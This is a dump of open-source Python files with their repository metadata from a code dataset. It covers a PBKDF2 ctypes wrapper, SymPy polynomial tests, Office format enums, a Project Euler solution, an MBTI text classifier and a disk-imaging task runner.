xszheng2020/the_stack_dedup_python_hits_1_others

6aa62343269180c72e1026d8bfdc9d3fa9196b1e

7,448

py

Python

gluon/contrib/pbkdf2_ctypes.py

Cwlowe/web2py

6ae4c3c274be1026cbc45b0fcd8d1180c74b9070

[ "BSD-3-Clause" ]

9

2018-04-19T05:08:30.000Z

2021-11-23T07:36:58.000Z

gluon/contrib/pbkdf2_ctypes.py

mohit3011/Quiz-Mate

17988a623abde439aef2b43fc8dc3162b5cae15e

[ "BSD-3-Clause" ]

98

2017-11-02T19:00:44.000Z

2022-03-22T16:15:39.000Z

gluon/contrib/pbkdf2_ctypes.py

mohit3011/Quiz-Mate

17988a623abde439aef2b43fc8dc3162b5cae15e

[ "BSD-3-Clause" ]

9

2017-10-24T21:53:36.000Z

2021-11-23T07:36:59.000Z

# -*- coding: utf-8 -*- """ pbkdf2_ctypes ~~~~~~ Fast pbkdf2. This module implements pbkdf2 for Python using crypto lib from openssl or commoncrypto. Note: This module is intended as a plugin replacement of pbkdf2.py by Armin Ronacher. Git repository: $ git clone https://github.com/michele-comitini/pbkdf2_ctypes.git :copyright: Copyright (c) 2013: Michele Comitini <mcm@glisco.it> :license: LGPLv3 """ import ctypes import ctypes.util import hashlib import platform import os.path import binascii import sys __all__ = ['pkcs5_pbkdf2_hmac', 'pbkdf2_bin', 'pbkdf2_hex'] __version__ = '0.99.3' def _commoncrypto_hashlib_to_crypto_map_get(hashfunc): hashlib_to_crypto_map = {hashlib.sha1: 1, hashlib.sha224: 2, hashlib.sha256: 3, hashlib.sha384: 4, hashlib.sha512: 5} crypto_hashfunc = hashlib_to_crypto_map.get(hashfunc) if crypto_hashfunc is None: raise ValueError('Unkwnown digest %s' % hashfunc) return crypto_hashfunc def _commoncrypto_pbkdf2(data, salt, iterations, digest, keylen): """Common Crypto compatibile wrapper """ c_hashfunc = ctypes.c_uint32(_commoncrypto_hashlib_to_crypto_map_get(digest)) c_pass = ctypes.c_char_p(data) c_passlen = ctypes.c_size_t(len(data)) c_salt = ctypes.c_char_p(salt) c_saltlen = ctypes.c_size_t(len(salt)) c_iter = ctypes.c_uint(iterations) c_keylen = ctypes.c_size_t(keylen) c_buff = ctypes.create_string_buffer(keylen) crypto.CCKeyDerivationPBKDF.restype = ctypes.c_int crypto.CCKeyDerivationPBKDF.argtypes = [ctypes.c_uint32, ctypes.c_char_p, ctypes.c_size_t, ctypes.c_char_p, ctypes.c_size_t, ctypes.c_uint32, ctypes.c_uint, ctypes.c_char_p, ctypes.c_size_t] ret = crypto.CCKeyDerivationPBKDF(2, # hardcoded 2-> PBKDF2 c_pass, c_passlen, c_salt, c_saltlen, c_hashfunc, c_iter, c_buff, c_keylen) return (1 - ret, c_buff) def _openssl_hashlib_to_crypto_map_get(hashfunc): hashlib_to_crypto_map = {hashlib.md5: crypto.EVP_md5, hashlib.sha1: crypto.EVP_sha1, hashlib.sha256: crypto.EVP_sha256, hashlib.sha224: crypto.EVP_sha224, hashlib.sha384: crypto.EVP_sha384, hashlib.sha512: crypto.EVP_sha512} crypto_hashfunc = hashlib_to_crypto_map.get(hashfunc) if crypto_hashfunc is None: raise ValueError('Unkwnown digest %s' % hashfunc) crypto_hashfunc.restype = ctypes.c_void_p return crypto_hashfunc() def _openssl_pbkdf2(data, salt, iterations, digest, keylen): """OpenSSL compatibile wrapper """ c_hashfunc = ctypes.c_void_p(_openssl_hashlib_to_crypto_map_get(digest)) c_pass = ctypes.c_char_p(data) c_passlen = ctypes.c_int(len(data)) c_salt = ctypes.c_char_p(salt) c_saltlen = ctypes.c_int(len(salt)) c_iter = ctypes.c_int(iterations) c_keylen = ctypes.c_int(keylen) c_buff = ctypes.create_string_buffer(keylen) # PKCS5_PBKDF2_HMAC(const char *pass, int passlen, # const unsigned char *salt, int saltlen, int iter, # const EVP_MD *digest, # int keylen, unsigned char *out); crypto.PKCS5_PBKDF2_HMAC.argtypes = [ctypes.c_char_p, ctypes.c_int, ctypes.c_char_p, ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_char_p] crypto.PKCS5_PBKDF2_HMAC.restype = ctypes.c_int err = crypto.PKCS5_PBKDF2_HMAC(c_pass, c_passlen, c_salt, c_saltlen, c_iter, c_hashfunc, c_keylen, c_buff) return (err, c_buff) try: # check that we have proper OpenSSL or Common Crypto on the system. system = platform.system() if system == 'Windows': if platform.architecture()[0] == '64bit': libname = ctypes.util.find_library('libeay64') if not libname: raise OSError('Library not found') crypto = ctypes.CDLL(libname) else: libname = ctypes.util.find_library('libeay32') if not libname: raise OSError('Library libeay32 not found.') crypto = ctypes.CDLL(libname) _pbkdf2_hmac = _openssl_pbkdf2 crypto.PKCS5_PBKDF2_HMAC # test compatibility elif system == 'Darwin': # think different(TM)! i.e. break things! if [int(x) for x in platform.mac_ver()[0].split('.')] < [10, 7, 0]: raise OSError('OS X Version too old %s < 10.7.0' % platform.mac_ver()[0]) libname = ctypes.util.find_library('System') if not libname: raise OSError('Library not found') crypto = ctypes.CDLL(os.path.basename(libname)) _pbkdf2_hmac = _commoncrypto_pbkdf2 else: libname = ctypes.util.find_library('crypto') if not libname: raise OSError('Library crypto not found.') crypto = ctypes.CDLL(os.path.basename(libname)) _pbkdf2_hmac = _openssl_pbkdf2 crypto.PKCS5_PBKDF2_HMAC # test compatibility except (OSError, AttributeError): _, e, _ = sys.exc_info() raise ImportError('Cannot find a compatible cryptographic library ' 'on your system. %s' % e) def pkcs5_pbkdf2_hmac(data, salt, iterations=1000, keylen=24, hashfunc=None): if hashfunc is None: hashfunc = hashlib.sha1 err, c_buff = _pbkdf2_hmac(data, salt, iterations, hashfunc, keylen) if err == 0: raise ValueError('wrong parameters') return c_buff.raw[:keylen] def pbkdf2_hex(data, salt, iterations=1000, keylen=24, hashfunc=None): return binascii.hexlify(pkcs5_pbkdf2_hmac(data, salt, iterations, keylen, hashfunc)) def pbkdf2_bin(data, salt, iterations=1000, keylen=24, hashfunc=None): return pkcs5_pbkdf2_hmac(data, salt, iterations, keylen, hashfunc) if __name__ == '__main__': try: crypto.SSLeay_version.restype = ctypes.c_char_p print(crypto.SSLeay_version(0)) except: pass import platform if platform.python_version_tuple() < ('3', '0', '0'): def bytes(*args): return str(args[0]) for h in [hashlib.sha1, hashlib.sha224, hashlib.sha256, hashlib.sha384, hashlib.sha512]: print(binascii.hexlify(pkcs5_pbkdf2_hmac(bytes('secret', 'utf-8') * 11, bytes('salt', 'utf-8'), hashfunc=h)))

38.194872

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null

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0

1

6aa7fd8436efabe5593a8174e9772f897fb7aec0

4,465

py

Python

sympy/polys/tests/test_sqfreetools.py

eriknw/sympy

b7544e2bb74c011f6098a7e886fd77f41776c2c4

[ "BSD-3-Clause" ]

7

2015-01-14T06:55:33.000Z

2018-08-11T14:43:52.000Z

sympy/polys/tests/test_sqfreetools.py

pbeltran/sympy-1

94f92b36731c2bebe6de1037c063c2a258a8a399

[ "BSD-3-Clause" ]

1

2018-02-19T04:56:04.000Z

sympy/polys/tests/test_sqfreetools.py

pbeltran/sympy-1

94f92b36731c2bebe6de1037c063c2a258a8a399

[ "BSD-3-Clause" ]

1

2016-04-24T14:39:22.000Z

"""Tests for square-free decomposition algorithms and related tools. """ from sympy.polys.rings import ring from sympy.polys.domains import FF, ZZ, QQ from sympy.polys.polyclasses import DMP from sympy.polys.specialpolys import f_polys from sympy.utilities.pytest import raises f_0, f_1, f_2, f_3, f_4, f_5, f_6 = f_polys() def test_dup_sqf(): R, x = ring("x", ZZ) assert R.dup_sqf_part(0) == 0 assert R.dup_sqf_p(0) is True assert R.dup_sqf_part(7) == 1 assert R.dup_sqf_p(7) is True assert R.dup_sqf_part(2*x + 2) == x + 1 assert R.dup_sqf_p(2*x + 2) is True assert R.dup_sqf_part(x**3 + x + 1) == x**3 + x + 1 assert R.dup_sqf_p(x**3 + x + 1) is True assert R.dup_sqf_part(-x**3 + x + 1) == x**3 - x - 1 assert R.dup_sqf_p(-x**3 + x + 1) is True assert R.dup_sqf_part(2*x**3 + 3*x**2) == 2*x**2 + 3*x assert R.dup_sqf_p(2*x**3 + 3*x**2) is False assert R.dup_sqf_part(-2*x**3 + 3*x**2) == 2*x**2 - 3*x assert R.dup_sqf_p(-2*x**3 + 3*x**2) is False assert R.dup_sqf_list(0) == (0, []) assert R.dup_sqf_list(1) == (1, []) assert R.dup_sqf_list(x) == (1, [(x, 1)]) assert R.dup_sqf_list(2*x**2) == (2, [(x, 2)]) assert R.dup_sqf_list(3*x**3) == (3, [(x, 3)]) assert R.dup_sqf_list(-x**5 + x**4 + x - 1) == \ (-1, [(x**3 + x**2 + x + 1, 1), (x - 1, 2)]) assert R.dup_sqf_list(x**8 + 6*x**6 + 12*x**4 + 8*x**2) == \ ( 1, [(x, 2), (x**2 + 2, 3)]) assert R.dup_sqf_list(2*x**2 + 4*x + 2) == (2, [(x + 1, 2)]) R, x = ring("x", QQ) assert R.dup_sqf_list(2*x**2 + 4*x + 2) == (2, [(x + 1, 2)]) R, x = ring("x", FF(2)) assert R.dup_sqf_list(x**2 + 1) == (1, [(x + 1, 2)]) R, x = ring("x", FF(3)) assert R.dup_sqf_list(x**10 + 2*x**7 + 2*x**4 + x) == \ (1, [(x, 1), (x + 1, 3), (x + 2, 6)]) R1, x = ring("x", ZZ) R2, y = ring("y", FF(3)) f = x**3 + 1 g = y**3 + 1 assert R1.dup_sqf_part(f) == f assert R2.dup_sqf_part(g) == y + 1 assert R1.dup_sqf_p(f) is True assert R2.dup_sqf_p(g) is False R, x, y = ring("x,y", ZZ) A = x**4 - 3*x**2 + 6 D = x**6 - 5*x**4 + 5*x**2 + 4 f, g = D, R.dmp_sub(A, R.dmp_mul(R.dmp_diff(D, 1), y)) res = R.dmp_resultant(f, g) h = (4*y**2 + 1).drop(x) assert R.drop(x).dup_sqf_list(res) == (45796, [(h, 3)]) R, x = ring("x", ZZ["t"]) assert R.dup_sqf_list_include(DMP([1, 0, 0, 0], ZZ)*x**2) == \ [(DMP([1, 0, 0, 0], ZZ), 1), (DMP([1], ZZ)*x, 2)] def test_dmp_sqf(): R, x, y = ring("x,y", ZZ) assert R.dmp_sqf_part(0) == 0 assert R.dmp_sqf_p(0) is True assert R.dmp_sqf_part(7) == 1 assert R.dmp_sqf_p(7) is True assert R.dmp_sqf_list(3) == (3, []) assert R.dmp_sqf_list_include(3) == [(3, 1)] R, x, y, z = ring("x,y,z", ZZ) assert R.dmp_sqf_p(f_0) is True assert R.dmp_sqf_p(f_0**2) is False assert R.dmp_sqf_p(f_1) is True assert R.dmp_sqf_p(f_1**2) is False assert R.dmp_sqf_p(f_2) is True assert R.dmp_sqf_p(f_2**2) is False assert R.dmp_sqf_p(f_3) is True assert R.dmp_sqf_p(f_3**2) is False assert R.dmp_sqf_p(f_5) is False assert R.dmp_sqf_p(f_5**2) is False assert R.dmp_sqf_p(f_4) is True assert R.dmp_sqf_part(f_4) == -f_4 assert R.dmp_sqf_part(f_5) == x + y - z R, x, y, z, t = ring("x,y,z,t", ZZ) assert R.dmp_sqf_p(f_6) is True assert R.dmp_sqf_part(f_6) == f_6 R, x = ring("x", ZZ) f = -x**5 + x**4 + x - 1 assert R.dmp_sqf_list(f) == (-1, [(x**3 + x**2 + x + 1, 1), (x - 1, 2)]) assert R.dmp_sqf_list_include(f) == [(-x**3 - x**2 - x - 1, 1), (x - 1, 2)] R, x, y = ring("x,y", ZZ) f = -x**5 + x**4 + x - 1 assert R.dmp_sqf_list(f) == (-1, [(x**3 + x**2 + x + 1, 1), (x - 1, 2)]) assert R.dmp_sqf_list_include(f) == [(-x**3 - x**2 - x - 1, 1), (x - 1, 2)] f = -x**2 + 2*x - 1 assert R.dmp_sqf_list_include(f) == [(-1, 1), (x - 1, 2)] R, x, y = ring("x,y", FF(2)) raises(NotImplementedError, lambda: R.dmp_sqf_list(y**2 + 1)) def test_dup_gff_list(): R, x = ring("x", ZZ) f = x**5 + 2*x**4 - x**3 - 2*x**2 assert R.dup_gff_list(f) == [(x, 1), (x + 2, 4)] g = x**9 - 20*x**8 + 166*x**7 - 744*x**6 + 1965*x**5 - 3132*x**4 + 2948*x**3 - 1504*x**2 + 320*x assert R.dup_gff_list(g) == [(x**2 - 5*x + 4, 1), (x**2 - 5*x + 4, 2), (x, 3)] raises(ValueError, lambda: R.dup_gff_list(0))

29.569536

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0.56

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null

0

null

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1

0

1

6aa848925fe885025486d711e7226e473656a954

1,377

py

Python

ezno_convert/enums.py

ofersadan85/ezno_convert

4c5cf7d41c72698e5486068673f170d968a9de27

[ "MIT" ]

2

2021-02-07T21:27:04.000Z

2021-03-13T06:47:25.000Z

ezno_convert/enums.py

ofersadan85/ezno_convert

4c5cf7d41c72698e5486068673f170d968a9de27

[ "MIT" ]

1

2021-02-10T05:45:00.000Z

ezno_convert/enums.py

ofersadan85/ezno_convert

4c5cf7d41c72698e5486068673f170d968a9de27

[ "MIT" ]

null

import enum from typing import Union @enum.unique class PPT(enum.Enum): # Source: https://docs.microsoft.com/en-us/office/vba/api/powerpoint.ppsaveasfiletype AnimatedGIF = 40 BMP = 19 Default = 11 EMF = 23 External = 64000 GIF = 16 JPG = 17 META = 15 MP4 = 39 OpenPresentation = 35 PDF = 32 PNG = 18 Presentation = 1 RTF = 6 SHOW = 7 Template = 5 TIF = 21 WMV = 37 XPS = 33 app = 'Powerpoint.Application' extensions = ('.ppt', '.pptx') @enum.unique class WORD(enum.Enum): # Source: https://docs.microsoft.com/en-us/office/vba/api/word.wdsaveformat DosText = 4 DosTextLineBreaks = 5 FilteredHTML = 10 FlatXML = 19 OpenDocumentText = 23 HTML = 8 RTF = 6 Template = 1 Text = 2 TextLineBreaks = 3 UnicodeText = 7 WebArchive = 9 XML = 11 Document97 = 0 DocumentDefault = 16 PDF = 17 XPS = 18 app = 'Word.Application' extensions = ('.doc', '.docx') @enum.unique class XL(enum.Enum): # Source: https://docs.microsoft.com/en-us/office/vba/api/excel.xlfixedformattype # TODO: Implement "SaveAs" methods, see: https://docs.microsoft.com/en-us/office/vba/api/excel.workbook.saveas PDF = 0 XPS = 1 app = 'Excel.Application' extensions = ('.xls', '.xlsx') enum_types = Union[PPT, WORD, XL]

20.863636

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null

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1

6ab5293b9595b159942c1bb0c1e2bfcef5e08aec

1,029

py

Python

solutions/PE4.py

KerimovEmil/ProjectEuler

bc9cb682181c1ac7889ee57c36d32beae7b441a8

[ "MIT" ]

1

2022-01-22T19:48:44.000Z

solutions/PE4.py

KerimovEmil/ProjectEuler

bc9cb682181c1ac7889ee57c36d32beae7b441a8

[ "MIT" ]

null

solutions/PE4.py

KerimovEmil/ProjectEuler

bc9cb682181c1ac7889ee57c36d32beae7b441a8

[ "MIT" ]

null

""" PROBLEM A palindromic number reads the same both ways. The largest palindrome made from the product of two 2-digit numbers is 9009 = 91 × 99. Find the largest palindrome made from the product of two 3-digit numbers. ANSWER: 906609 Solve time ~ 0.760 seconds """ from itertools import product import unittest from util.utils import timeit class Problem4: def __init__(self, num_digits): self.lower = 10 ** (num_digits - 1) - 1 self.upper = 10 ** num_digits - 1 @staticmethod def is_palindrome(num): return str(num) == str(num)[::-1] @timeit def solve(self): pds = [] for i, j in product(range(self.lower, self.upper), repeat=2): if self.is_palindrome(i * j): pds.append(i * j) return max(pds) class Solution4(unittest.TestCase): def setUp(self): self.problem = Problem4(3) def test_solution(self): self.assertEqual(906609, self.problem.solve()) if __name__ == '__main__': unittest.main()

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null

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1

6ab606d6bade1bb254f8ee2b1905c9d3d07e2051

11,447

py

Python

ai_analysis.py

kwangilkimkenny/chatbot_seq2seq_flask

f2f3bda9311c5f2930aebc8ae4a6497597b190e1

[ "MIT" ]

null

ai_analysis.py

kwangilkimkenny/chatbot_seq2seq_flask

f2f3bda9311c5f2930aebc8ae4a6497597b190e1

[ "MIT" ]

null

ai_analysis.py

kwangilkimkenny/chatbot_seq2seq_flask

f2f3bda9311c5f2930aebc8ae4a6497597b190e1

[ "MIT" ]

null

import pandas as pd import numpy as np import re import pickle # plotting import seaborn as sns import matplotlib.pyplot as plt # Tune learning_rate from numpy import loadtxt from xgboost import XGBClassifier from sklearn.model_selection import GridSearchCV from sklearn.model_selection import StratifiedKFold # First XGBoost model for MBTI dataset from numpy import loadtxt from xgboost import XGBClassifier from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score ##### Compute list of subject with Type | list of comments from nltk.stem import PorterStemmer, WordNetLemmatizer from nltk.corpus import stopwords from nltk import word_tokenize import nltk nltk.download('wordnet') from sklearn.feature_extraction.text import TfidfTransformer from sklearn.feature_extraction.text import CountVectorizer from sklearn.manifold import TSNE #타입을 숫자로 변환 def get_types(row): t=row['type'] I = 0; N = 0 T = 0; J = 0 if t[0] == 'I': I = 1 elif t[0] == 'E': I = 0 else: print('I-E incorrect') if t[1] == 'N': N = 1 elif t[1] == 'S': N = 0 else: print('N-S incorrect') if t[2] == 'T': T = 1 elif t[2] == 'F': T = 0 else: print('T-F incorrect') if t[3] == 'J': J = 1 elif t[3] == 'P': J = 0 else: print('J-P incorrect') return pd.Series( {'IE':I, 'NS':N , 'TF': T, 'JP': J }) #딕셔너리파일 설정 b_Pers = {'I':0, 'E':1, 'N':0, 'S':1, 'F':0, 'T':1, 'J':0, 'P':1} #리스트를 두개씩 묶어서 리스트로 만듬 b_Pers_list = [{0:'I', 1:'E'}, {0:'N', 1:'S'}, {0:'F', 1:'T'}, {0:'J', 1:'P'}] def translate_personality(personality): # transform mbti to binary vector return [b_Pers[l] for l in personality] def translate_back(personality): # transform binary vector to mbti personality s = "" for i, l in enumerate(personality): s += b_Pers_list[i][l] return s # We want to remove these from the psosts unique_type_list = ['INFJ', 'ENTP', 'INTP', 'INTJ', 'ENTJ', 'ENFJ', 'INFP', 'ENFP', 'ISFP', 'ISTP', 'ISFJ', 'ISTJ', 'ESTP', 'ESFP', 'ESTJ', 'ESFJ'] unique_type_list = [x.lower() for x in unique_type_list] # Lemmatize stemmer = PorterStemmer() lemmatiser = WordNetLemmatizer() # Cache the stop words for speed cachedStopWords = stopwords.words("english") def pre_process_data(data, remove_stop_words=True, remove_mbti_profiles=True): list_personality = [] list_posts = [] len_data = len(data) i=0 for row in data.iterrows(): i+=1 if (i % 500 == 0 or i == 1 or i == len_data): print("%s of %s rows" % (i, len_data)) ##### Remove and clean comments posts = row[1].posts temp = re.sub('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', ' ', posts) temp = re.sub("[^a-zA-Z]", " ", temp) temp = re.sub(' +', ' ', temp).lower() if remove_stop_words: temp = " ".join([lemmatiser.lemmatize(w) for w in temp.split(' ') if w not in cachedStopWords]) else: temp = " ".join([lemmatiser.lemmatize(w) for w in temp.split(' ')]) if remove_mbti_profiles: for t in unique_type_list: temp = temp.replace(t,"") type_labelized = translate_personality(row[1].type) list_personality.append(type_labelized) list_posts.append(temp) list_posts = np.array(list_posts) list_personality = np.array(list_personality) return list_posts, list_personality # read data # data = pd.read_csv('/Users/jongphilkim/Desktop/Django_WEB/essayfitaiproject_2020_12_09/essayai/mbti_1.csv') data = pd.read_csv('./mbti/mbti_1.csv') # get_types 함수 적용 data = data.join(data.apply (lambda row: get_types (row),axis=1)) # load with open('./mbti/list_posts.pickle', 'rb') as f: list_posts = pickle.load(f) # load with open('./mbti/list_personality.pickle', 'rb') as f: list_personality = pickle.load(f) # # Posts to a matrix of token counts cntizer = CountVectorizer(analyzer="word", max_features=1500, tokenizer=None, preprocessor=None, stop_words=None, max_df=0.7, min_df=0.1) # Learn the vocabulary dictionary and return term-document matrix print("CountVectorizer...") X_cnt = cntizer.fit_transform(list_posts) ################################################# #save!!! model X_cnt import pickle # save # with open('./essayai/ai_character/mbti/data_X_cnt.pickle', 'wb') as f: # pickle.dump(X_cnt, f, pickle.HIGHEST_PROTOCOL) # load with open('./mbti/data_X_cnt.pickle', 'rb') as f: X_cnt = pickle.load(f) ################################################# # Transform the count matrix to a normalized tf or tf-idf representation tfizer = TfidfTransformer() print("Tf-idf...") # Learn the idf vector (fit) and transform a count matrix to a tf-idf representation X_tfidf = tfizer.fit_transform(X_cnt).toarray() # load with open('./mbti/data.pickle', 'rb') as f: X_tfidf = pickle.load(f) def mbti_classify(text): type_indicators = [ "IE: Introversion (I) / Extroversion (E)", "NS: Intuition (N) – Sensing (S)", "FT: Feeling (F) - Thinking (T)", "JP: Judging (J) – Perceiving (P)" ] # Posts in tf-idf representation X = X_tfidf my_posts = str(text) # The type is just a dummy so that the data prep fucntion can be reused mydata = pd.DataFrame(data={'type': ['INFJ'], 'posts': [my_posts]}) my_posts, dummy = pre_process_data(mydata, remove_stop_words=True) my_X_cnt = cntizer.transform(my_posts) my_X_tfidf = tfizer.transform(my_X_cnt).toarray() # setup parameters for xgboost param = {} param['n_estimators'] = 200 param['max_depth'] = 2 param['nthread'] = 8 param['learning_rate'] = 0.2 result = [] # Let's train type indicator individually for l in range(len(type_indicators)): print("%s ..." % (type_indicators[l])) Y = list_personality[:,l] # split data into train and test sets seed = 7 test_size = 0.33 X_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) # fit model on training data model = XGBClassifier(**param) model.fit(X_train, y_train) # make predictions for my data y_pred = model.predict(my_X_tfidf) result.append(y_pred[0]) # print("* %s prediction: %s" % (type_indicators[l], y_pred)) print("The result is: ", translate_back(result)) #결과를 리스트에 담고 Result_list = list(translate_back(result)) #mbit 결과값에 따라 내용 print 하기 # read data # data = pd.read_csv('/Users/jongphilkim/Desktop/Django_WEB/essayfitaiproject/essayai/mbti_exp.csv') data = pd.read_csv('./mbti/mbti_exp.csv') #새로운 데이터프레임을 만들어서 계산된 값을 추가할 예정 df2 = pd.DataFrame(index=range(0,4),columns=['Type', 'Explain']) #리스트에서 한글자씩 불러와서 데이터프레임의 값을 출력하면 됨 for i in range(0, len(Result_list)): type = Result_list[i] for j in range(0, len(data)): if type == data.iloc[j,0]: break is_mbti = data.iloc[j,2] df2.iloc[i, [0,1]] = [type, is_mbti] print(df2) return df2 # my_posts = """Describe a place or environment where you are perfectly content. What do you do or experience there, and why is it meaningful to you? 644 words out of 650 Gettysburg, a small town in the middle of Pennsylvania, was the sight of the largest, bloodiest battle in the Civil War. Something about these hallowed grounds draws me back every year for a three day camping trip with my family over Labor Day weekend. Every year, once school starts, I count the days until I take that three and half hour drive from Pittsburgh to Gettysburg. Each year, we leave after school ends on Friday and arrive in Gettysburg with just enough daylight to pitch the tents and cook up a quick dinner on the campfire. As more of the extended family arrives, we circle around the campfire and find out what is new with everyone. The following morning, everyone is up by nine and helping to make breakfast which is our best meal of the day while camping. Breakfast will fuel us for the day as we hike the vast battlefields. My Uncle Mark, my twin brother, Andrew, and I like to take charge of the family tour since we have the most passion and knowledge about the battle. I have learned so much from the stories Mark tells us while walking on the tours. Through my own research during these last couple of trips, I did some of the explaining about the events that occurred during the battle 150 years ago. My fondest experience during one trip was when we decided to go off of the main path to find a carving in a rock from a soldier during the battle. Mark had read about the carving in one of his books about Gettysburg, and we were determined to locate it. After almost an hour of scanning rocks in the area, we finally found it with just enough daylight to read what it said. After a long day of exploring the battlefield, we went back to the campsite for some 'civil war' stew. There is nothing special about the stew, just meat, vegetables and gravy, but for whatever reason, it is some of the best stew I have ever eaten. For the rest of the night, we enjoy the company of our extended family. My cousins, my brother and I listen to the stories from Mark and his friends experiences' in the military. After the parents have gone to bed, we stay up talking with each other, inching closer and closer to the fire as it gets colder. Finally, we creep back into our tents, trying to be as quiet as possible to not wake our parents. The next morning we awake red-eyed from the lack of sleep and cook up another fantastic breakfast. Unfortunately, after breakfast we have to pack up and head back to Pittsburgh. It will be another year until I visit Gettysburg again. There is something about that time I spend in Gettysburg that keeps me coming back to visit. For one, it is just a fun, relaxing time I get to spend with my family. This trip also fulfills my love for the outdoors. From sitting by the campfire and falling asleep to the chirp of the crickets, that is my definition of a perfect weekend. Gettysburg is also an interesting place to go for Civil War buffs like me. While walking down the Union line or walking Pickett's Charge, I imagine how the battle would have been played out around me. Every year when I visit Gettysburg, I learn more facts and stories about the battle, soldiers and generally about the Civil War. While I am in Gettysburg, I am perfectly content, passionate about the history and just enjoying the great outdoors with my family. This drive to learn goes beyond just my passion for history but applies to all of the math, science and business classes I have taken and clubs I am involved in at school. Every day, I am genuinely excited to learn. # """ # test = mbti_classify(my_posts) # print ('check') # test # print ('check2')

41.625455

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0.653621

1,750

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null

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null

0

1

6ac1a5f132a19c0dca01d22ddfd3613255dba8b5

4,258

py

Python

wce_triage/ops/create_image_runner.py

pfrouleau/wce-triage-v2

25610cda55f5cb2170e13e121ae1cbaa92ef7626

[ "MIT" ]

3

2019-07-25T03:24:23.000Z

2021-06-23T14:01:34.000Z

wce_triage/ops/create_image_runner.py

pfrouleau/wce-triage-v2

25610cda55f5cb2170e13e121ae1cbaa92ef7626

[ "MIT" ]

1

2019-12-20T16:04:19.000Z

wce_triage/ops/create_image_runner.py

pfrouleau/wce-triage-v2

25610cda55f5cb2170e13e121ae1cbaa92ef7626

[ "MIT" ]

2

2019-07-25T03:24:26.000Z

2021-02-14T05:27:11.000Z

#!/usr/bin/env python3 # # Create disk image # import re, sys, traceback from .tasks import task_fetch_partitions, task_refresh_partitions, task_mount, task_remove_persistent_rules, task_remove_logs, task_fsck, task_shrink_partition, task_expand_partition, task_unmount from .partclone_tasks import task_create_disk_image from .ops_ui import console_ui from ..components.disk import create_storage_instance from .runner import Runner from ..lib.disk_images import make_disk_image_name from .json_ui import json_ui from ..lib.util import init_triage_logger, is_block_device # "Waiting", "Prepare", "Preflight", "Running", "Success", "Failed"] my_messages = { "Waiting": "Saving disk is waiting.", "Prepare": "Savign disk is preparing.", "Preflight": "Saving disk is preparing.", "Running": "{step} of {steps}: Running {task}", "Success": "Saving disk completed successfully.", "Failed": "Saving disk failed." } # class ImageDiskRunner(Runner): '''Runner for creating disk image. does fsck, shrink partition, create disk image and resize the file system back to the max. For now, this is only dealing with the EXT4 linux partition. ''' # FIXME: If I want to make this to a generic clone app, I need to deal with all of partitions on the disk. # One step at a time. def __init__(self, ui, runner_id, disk, destdir, suggestedname=None, partition_id='Linux'): super().__init__(ui, runner_id) self.time_estimate = 600 self.disk = disk self.partition_id = partition_id self.destdir = destdir self.imagename = make_disk_image_name(destdir, suggestedname) pass def prepare(self): super().prepare() # self.tasks.append(task_mount_nfs_destination(self, "Mount the destination volume")) self.tasks.append(task_fetch_partitions("Fetch partitions", self.disk)) self.tasks.append(task_refresh_partitions("Refresh partition information", self.disk)) self.tasks.append(task_mount("Mount the target disk", disk=self.disk, partition_id=self.partition_id)) self.tasks.append(task_remove_persistent_rules("Remove persistent rules", disk=self.disk, partition_id=self.partition_id)) self.tasks.append(task_remove_logs("Remove/Clean Logs", disk=self.disk, partition_id=self.partition_id)) task = task_unmount("Unmount target", disk=self.disk, partition_id=self.partition_id) task.set_teardown_task() self.tasks.append(task) self.tasks.append(task_fsck("fsck partition", disk=self.disk, partition_id=self.partition_id)) self.tasks.append(task_shrink_partition("Shrink partition to smallest", disk=self.disk, partition_id=self.partition_id)) self.tasks.append(task_create_disk_image("Create disk image", disk=self.disk, partition_id=self.partition_id, imagename=self.imagename)) task = task_expand_partition("Expand the partion back", disk=self.disk, partition_id=self.partition_id) task.set_teardown_task() self.tasks.append(task) pass pass if __name__ == "__main__": tlog = init_triage_logger() if len(sys.argv) == 1: print( 'Unloader: devicename part destdir') sys.exit(0) # NOTREACHED pass devname = sys.argv[1] if not is_block_device(devname): print( '%s is not a block device.' % devname) sys.exit(1) # NOTREACHED pass part = sys.argv[2] # This is a partition id destdir = sys.argv[3] # Destination directory disk = create_storage_instance(devname) # Preflight is for me to see the tasks. http server runs this with json_ui. do_it = True if destdir == "preflight": ui = console_ui() do_it = False pass elif destdir == "testflight": ui = console_ui() do_it = True pass else: ui = json_ui(wock_event="saveimage", message_catalog=my_messages) pass if re.match(part, '\d+'): part = int(part) pass runner_id = disk.device_name runner = ImageDiskRunner(ui, runner_id, disk, destdir, partition_id=part) try: runner.prepare() runner.preflight() runner.explain() runner.run() sys.exit(0) # NOTREACHED except Exception as exc: sys.stderr.write(traceback.format_exc(exc) + "\n") sys.exit(1) # NOTREACHED pass pass

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593

4,258

4.903879

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0.079436

0.067056

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0.134801

0

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0.180601

4,258

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0.829751

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0

null

0

null

0

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0

1

6ac3173f834c06ec5469554b76a1d8e391432cee

5,171

py

Python

demos/chicken_pasta/chicken_pasta.py

icaros-usc/wecook

27bbb6b78a48e04765a87d33cc8a5d3748d2d4cc

[ "BSD-3-Clause" ]

15

2019-09-15T05:24:19.000Z

2021-02-26T20:31:19.000Z

demos/chicken_pasta/chicken_pasta.py

icaros-usc/wecook

27bbb6b78a48e04765a87d33cc8a5d3748d2d4cc

[ "BSD-3-Clause" ]

16

2019-10-10T23:27:00.000Z

2020-05-14T02:30:56.000Z

demos/chicken_pasta/chicken_pasta.py

icaros-usc/wecook

27bbb6b78a48e04765a87d33cc8a5d3748d2d4cc

[ "BSD-3-Clause" ]

2

2020-02-01T16:31:29.000Z

2020-04-07T21:00:04.000Z

